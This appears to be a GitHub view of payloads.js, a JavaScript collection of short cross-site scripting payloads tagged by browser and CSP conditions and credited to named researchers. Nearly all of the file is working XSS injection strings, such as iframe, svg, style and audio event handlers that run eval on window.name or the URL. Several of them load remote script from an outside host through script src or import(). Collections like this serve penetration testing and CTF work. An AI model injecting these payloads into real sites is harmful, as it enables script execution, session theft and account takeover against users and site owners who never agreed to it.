-
Notifications
You must be signed in to change notification settings - Fork 192
/
payloads.js
132 lines (131 loc) · 4.3 KB
/
payloads.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
const TAGS = {
// chrome: 'chromium',
// firefox: 'firefox',
// safari: 'safari',
unsafeInline: 'script-unsafe-inline',
inlineStyleAllow: 'style-inline-allowed',
inlineStyleBlock: 'style-inline-blocked',
unsafeEval: 'unsafe-eval',
scripts: 'external-scripts',
iframes: 'external-iframes',
controlsLength: 'controls-index-of-iframe',
controlsName: 'controls-name',
controlsURL: 'controls-URL',
notInner: 'not-innerHTML',
chromeOnly: 'chrome-only',
safariOnly: 'safari-only',
firefoxInner: 'firefox-innerHTML',
chromeInner: 'chrome-innerHTML'
}
const PAYLOADS = [
{
html: '<script/src=//NJ.₨><\/script>',
tags: [TAGS.scripts, TAGS.notInner],
author: null,
},
{
html: '<iframe/onload=src=top.name>',
tags: [TAGS.unsafeInline, TAGS.controlsName],
author: '@terjanq'
},
{
html: '<iframe/onload=src=top[0].name+/\\NJ.₨/>',
tags: [TAGS.iframes, TAGS.unsafeInline, TAGS.controlsLength],
author: '@terjanq'
},
{
html: '<iframe/onload=src=contentWindow.name+/\\NJ.₨/>',
tags: [TAGS.iframes, TAGS.unsafeInline],
author: '@terjanq'
},
{
html: '<iframe/srcdoc="<script/src=//NJ.₨><\/script>">',
tags: [TAGS.scripts],
author: null,
},
{
html: '<iframe/srcdoc="<svg><script/href=//NJ.₨ />">',
tags: [TAGS.firefox, TAGS.scripts],
author: null,
},
{
html: "<iframe/onload=eval(`'`+URL)>",
tags: [TAGS.unsafeEval, TAGS.unsafeInline, TAGS.controlsURL],
author: '@wcbowling'
},
/* deprecated */
// {
// html: "<iframe/onload=write(URL)>",
// tags: [TAGS.safariOnly, TAGS.unsafeInline, TAGS.controlsURL],
// author: '@kinugawamasato'
// },
{
html: "<svg/onload=eval(name)>",
tags: [TAGS.unsafeInline, TAGS.unsafeEval, TAGS.controlsName, TAGS.notInner],
author: null,
},
{
html: "<svg/onload=eval(`'`+URL)>",
tags: [TAGS.unsafeInline, TAGS.unsafeEval, TAGS.controlsURL, TAGS.notInner],
author: '@wcbowling'
},
{
html: "<svg/onload=location=name>",
tags: [TAGS.unsafeInline, TAGS.controlsName, TAGS.notInner],
author: null
},
{
html: "<svg><svg/onload=eval(name)>",
tags: [TAGS.unsafeInline, TAGS.unsafeEval, TAGS.controlsName, TAGS.notInner, TAGS.chromeInner],
comment: 'Will work inside innerHTML in Chrome',
author: ['@ZeddYu_Lu', '@phithon_xg'],
},
{
html: "<audio/src/onerror=eval(name)>",
tags: [TAGS.unsafeInline, TAGS.unsafeEval, TAGS.controlsName],
comment: 'What is special about this payload is that it will work inside innerHTML on elements not yet inserted into the DOM',
author: '@terjanq'
},
{
html: "<img/src/onerror=eval(`'`+URL)>",
tags: [TAGS.unsafeInline, TAGS.unsafeEval, TAGS.controlsURL],
comment: 'What is special about this payload is that it will work inside innerHTML on elements not yet inserted into the DOM',
author: null
},
{
html: "<style/onload=eval(name)>",
tags: [TAGS.inlineStyleAllow, TAGS.unsafeEval, TAGS.unsafeInline, TAGS.controlsName],
author: null
},
/* deprecated */
// {
// html: "<style/onload=write(URL)>",
// tags: [TAGS.safariOnly, TAGS.unsafeInline, TAGS.controlsURL, TAGS.inlineStyleAllow],
// author: '@kinugawamasato'
// },
{
html: "<style/onload=eval(`'`+URL)>",
tags: [TAGS.unsafeEval, TAGS.unsafeInline, TAGS.controlsURL, TAGS.inlineStyleAllow],
author: '@wcbowling'
},
{
html: "<style/onerror=eval(name)>",
tags: [TAGS.chromeOnly, TAGS.unsafeEval, TAGS.unsafeInline, TAGS.controlsName, TAGS.inlineStyleBlock],
author: null
},
{
html: "<svg/onload=import(/\\NJ.₨/)>",
tags: [TAGS.unsafeInline, TAGS.notInner, TAGS.firefoxInner, TAGS.scripts],
author: null
},
{
html: "<style/onload=import(/\\NJ.₨/)>",
tags: [TAGS.unsafeInline, TAGS.scripts, TAGS.inlineStyleAllow],
author: null
},
{
html: "<iframe/onload=import(/\\NJ.₨/)>",
tags: [TAGS.unsafeInline, TAGS.scripts],
author: null
},
]